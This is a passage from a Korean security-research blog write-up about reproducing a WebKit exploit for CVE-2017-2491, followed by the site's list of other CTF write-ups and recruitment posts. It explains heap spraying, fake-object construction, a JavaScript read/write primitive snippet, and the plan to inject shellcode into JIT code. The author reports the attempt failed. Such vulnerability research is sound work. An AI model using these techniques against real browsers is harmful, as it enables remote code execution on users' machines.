m_structureID         = 0x00000004
m_indexingTypeAndMisc = 0x00
m_type                = 0x06
m_flags               = 0x68
m_cellState           = 0x01

여기서 중요한 것은 m_indexingTypeAndMisc입니다. 이 필드는 객체가 보관하고 있는 값의 자료형을 결정하는 역할을 합니다. 예를 들어 0x08은 ContiguousShape( 혹은 NonArrayWithContiguous라고도 할 수 있음 )니까 값의 자료형은 참조객체(=JSObject)가 됩니다. WebKit 익스플로잇을 위해선 CVE-2016-4622를 소개할 때 썼던 fakeobj()처럼 가짜객체를 만들 수 있어야 하고, 가짜객체를 만들기 위해선 indexingType의 값이 ContinguousShape 이어야 합니다. 참 다행히도 OS X에서의 Heap 주소는 0x110000000에서 부터 시작해 증가해 나갑니다. 그렇기에 할당해제된 Heap 주소를 JSCell 헤더로 사용해 가짜객체를 만들기 위해선 대략 28GB(=0x700000000) 가량의 Heap 영역 할당이 필요한 겁니다.

추가로, 위에서 PoC 코드에 출력문 몇개를 추가한 것만으로도 취약점의 항상성이 떨어졌었습니다. 익스플로잇 코드의 안전성을 위해선 가능한 한 빌트인되어 있는 API가 아니라 사용자가 직접 정의한 함수들을 사용해야 할 것입니다.

그리고 가짜객체를 통해 R/W Primitive를 구축하는 과정도 약간 복잡해졌습니다.

Before

   fakearray                             hax
+----------------+                  +----------------+
|  Float64Array  |   +------------->|  Uint8Array    |
|                |   |              |                |
|  JSCell        |   |              |  JSCell        |
|  butterfly     |   |              |  butterfly     |
|  vector  ------+---+              |  vector        |
|  length        |                  |  length        |
|  mode          |                  |  mode          |
+----------------+                  +----------------+



After

      fakearray                        hax                       hax2
+--------------------+         +------------------+        +--------------+
|  JSObject          |   +---->|  Uint8Array      |  +---->|  Uint8Array  |
|                    |   |     |                  |  |     |              |
|  structureID = 0   |   |     |  JSCell          |  |     |  JSCell      |
|  indexingType = 8  |   |     |  butterfly       |  |     |  butterfly   |
|    |   |     |  vector       ------+     |  vector      |
|  butterfly       ------+     |  length = 0x100  |        |  length      |
|                    |         |  mode            |        |  mode        |
+--------------------+         +------------------+        +--------------+

PoC 코드를 돌려 나온 결과엔 i_am_free의 Butterfly에 0x00000000badbeef0가 박혀있지만, 힙스프레이 후 살펴보면 Butterfly에 0x200000001이 박혀 있을 겁니다. 0x200000001은 힙스프레이로 뿌려진 영역에 속하는 주소이기에 조작가능합니다. 실제로 익스플로잇 코드를 보면 힙스프레이를 할 때 뿌려진 영역안에서의 위치를 찾기 쉬우라고 offset을 삽입합니다. 0x200000001의 메모리 영역에 container 객체를 삽입하고 주소값을 읽은 뒤, 읽어들인 주소값에 16(=QWORD * 2)을 더해 다시 삽입하면 가짜객체가 생성됩니다.

0x200000001을 통해 읽어들인 주소에 offset을 더해 다시 삽입하기 위해선 hax와 hax2가 필요하기 때문에 기존의 R/W Primitive 구축 방식과 차이가 발생하는 겁니다. hax를 통해 hax2의 Vector를 수정함으로써 hax2를 통해 값을 읽어들이거나 쓸 수 있게 되는 겁니다.

// 0x200000001을 통해 값을 읽음
a[2] = target_func;
addr = 0;
for (var j = 7; j >= 0; --j)
    addr = addr*0x100 + buf[offset + j];

// hax2의 Vector를 통해 값을 읽음
addr += 3*8;
for (var j = 0; j < 8; ++j) {
    hax[16+j] = addr & 0xff;
    addr /= 0x100;
}
addr = 0;
for (var j = 7; j >= 0; --j)
    addr = addr*0x100 + hax2[j];

분석 과정은 이쯤에서 끝났습니다. CachedCall의 취약점을 통해 할당해제된 영역을 사용할 수 있는데, 할당해제된 영역의 첫 부분에 주소가 삽입되니 힙스프레이를 뿌려 indexingType의 0x08인 가짜 ContiguousShape 객체를 만들곤, 마침 이 가짜 객체의 Butterfly에 해당하는 위치에 힙스프레이로 뿌린 영역에 속하는 주소값이 있으니 이걸로 OOB Read & Write 가 가능하고, 그럼 이제 최대한 힙스프레이로 인해 망가진 Heap 영역을 쓰지 않고 JIT 컴파일된 함수의 코드영역에 쉘코드를 삽입한 뒤 호출하면 끝! 이니까 말입니다.

하지만…..

4. 난관

28GB의 힙스프레이는 가상머신에서 돌리기에는 너무나 거대했습니다. 실제 Pwn2Own 때는 RAM 8GB짜리 맥북에서 테스트했다는데 맥의 메모리 압축기능덕에 적은 메모리로도 익스플로잇이 가능했다고 하나 가상머신에서는 아니었습니다.

다른 멤버 몇 분이 맥북을 소지하고 있었습니다만 전부 OS 버전이 Mojave라 CachedCall 취약점이 내제된 WebKit 버전을 빌드하기 위한 Xcode 구버전을 설치할 수 없었습니다. 실제 업무에도 사용하시는 장비라 OS 다운그레이드도 할 수 없었습니다.

차선책으로 메모리가 큰 Linux VPS를 하나 만든뒤, 거기에서 WebKit을 빌드해 테스트 해볼까 해서, 멤버 한 명이 실제로 Linode에서 RAM 64GB 짜리 VPS를 하나 파서 확인해 보았으나, Linux는 Heap주소에 걸린 ASLR 때문에 indexingType을 0x08로 맞출 수 없어 돈만 날리고 실패했다는 슬픈 사연이 있습니다. 이후에도 MAC용 VPS 서비스가 있다는 걸 알게되어 한 번 시도해볼까 고민해봤으나 메모리 압축기능이 과연 가상서버에서도 제대로 동작할까, 또 돈만 날리는 게 아닐까 하는 두려움에 아직까지 선뜻 시도해보지는 못했습니다.

5. 후기

혹시 남는 맥 있으신 분께선 Poc 코드 돌려서 확인해 보시고 알려주시면 감사하겠습니다.

NULL@ROOT

[마감] 2025 Null@Root 신입 그룹원 모집

[마감] 2024 Null@Root 신입 그룹원 모집

[마감] 2023 Null@Root 신입 그룹원 모집

[마감] 2022 Null@Root 신입 그룹원 모집

[마감] 2021 Null@Root 신입 그룹원 모집

[Writeup] GitHub Security Lab CTF 1: SEGV hunt

목차

1. 소개

2. 환경 구축

3. 문제 풀이

3.0.0. Question 0.0

3.1.0. Question 1.0

3.1.1. Question 1.1

3.2.0. Question 2.0

3.2.1. Question 2.1

3.2.2. Question 2.2

3.2.3. Question 2.3

3.2.4. Question 2.4

3.2.5. Question 2.5

3.3.0. Question 3.0

3.4.0. Question 4.0

3.4.1. Question 4.1

3.5.0. Question 5.0(optional)

4. 후기

[마감] 2020 Null@Root 신입 그룹원 모집

[Writeup] LazyFragmentationHeap - WCTF 2019

목차

1. 소개

2. 환경 구축

3. 분석

용어 정리

3.1. _HEAP

3.2. _HEAP_ENTRY

Non-LFH chunk

LFH chunk

3.3. _HEAP_LIST_LOOKUP

3.4. _LFH_HEAP

3.5. _HEAP_BUCKET

3.6. _HEAP_LOCAL_SEGMENT_INFO

3.7. _HEAP_SUBSEGMENT

3.8. _HEAP_USERDATA_HEADER

3.9. _INTERLOCK_SEQ

3.10. Allocate and Free Non-LFH chunk

Allocate

size <= ( _HEAP->VirtualMemoryThreshold * 0x10 )

size > ( _HEAP->VirtualMemoryThreshold * 0x10 )

Free

size <= ( _HEAP->VirtualMemoryThreshold * 0x10 )

size > ( _HEAP->VirtualMemoryThreshold * 0x10 )

3.11. Allocate and Free LFH chunk

Allocate

Free

4. 익스플로잇

5. 후기

6. 참고자료

[Writeup] BabyKernel - Dragon CTF 2019

목차

1. 소개

2. 환경 구축

3. 분석

4. 익스플로잇

5. 후기

6. 참고자료

CVE-2017-2491 삽질기

목차

1. 소개

2. 환경 구축

3. 분석

4. 난관

5. 후기